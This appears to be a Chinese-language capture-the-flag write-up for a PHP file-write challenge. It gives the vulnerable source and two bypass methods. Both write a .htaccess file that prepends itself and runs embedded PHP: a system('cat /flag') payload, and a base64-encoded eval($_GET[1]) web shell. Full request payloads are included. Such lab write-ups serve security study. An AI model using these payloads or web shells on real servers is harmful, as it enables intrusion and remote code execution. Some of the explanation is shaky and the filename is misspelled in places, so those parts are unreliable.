<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
方法一
1.通过file_put_contents函数来写入木马
2绕过preg_match函数(文件名必须只能带有[a-z.]范围的字符)和stristr函数(通过换行符来进行绕过)
我们可以直接往.hatccess文件中写入木马(机会只有一次)‘
因为.hatccess这个文件会自己绕过preg_match函数。
所有写入的内容如下
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
payload
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
下面来解释一下
php_value auto_prepend_file 是用来在页面底部加载文件的
这也是为什么我们要去写入#<?php system('cat /fla'.'g');?>\ 在文件底部
而#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
最后那个/是用来转意换行符的
可以看出在文件最后有一个换行符,如果不进行转义,那么他真正写入的情况是这个样子
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
Hello, world
而文件最后的Hello,world会对文件照常影响,不符合写入格式,进而无法解析。
总结:1.strstr函数用换行符进行绕过。
为什么说机会只有一次,因为他会自动删除根目录下所有除了index.php的所有文件,写入成功时,你不刷新,可以看到flag,但是一旦刷新,文件就没有了,所以写入成功也只能刷新一次。
方法二
查阅资料了解到如何绕过preg_match函数
1数组绕过,因为preg_match处理数组会返回NULL,然而这里的伪协议php://filter很明显不支持绕过
2过正则匹配的递归次数来绕过,正则匹配的递归次数由pcre.backtrack_limit参数来控制
要让preg_match返回false,也就是匹配不到,即可绕过preg_match。就是通过设置pcre.backtrack_limit值为0,使得回溯次数为0,来使得正则匹配什么都不匹配,即返回false。
测试一下,是否能绕过preg_match:
成功绕过preg_match。
之后写入成功后
payload
?filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fcHJlcGVuZF9maWxlIC5odGFjY2VzcwojYTw/cGhwIGV2YWwoJF9HRVRbMV0pOyA/Plw=&1=phpinfo();
但是并没有复现成功可能是因为权限问题。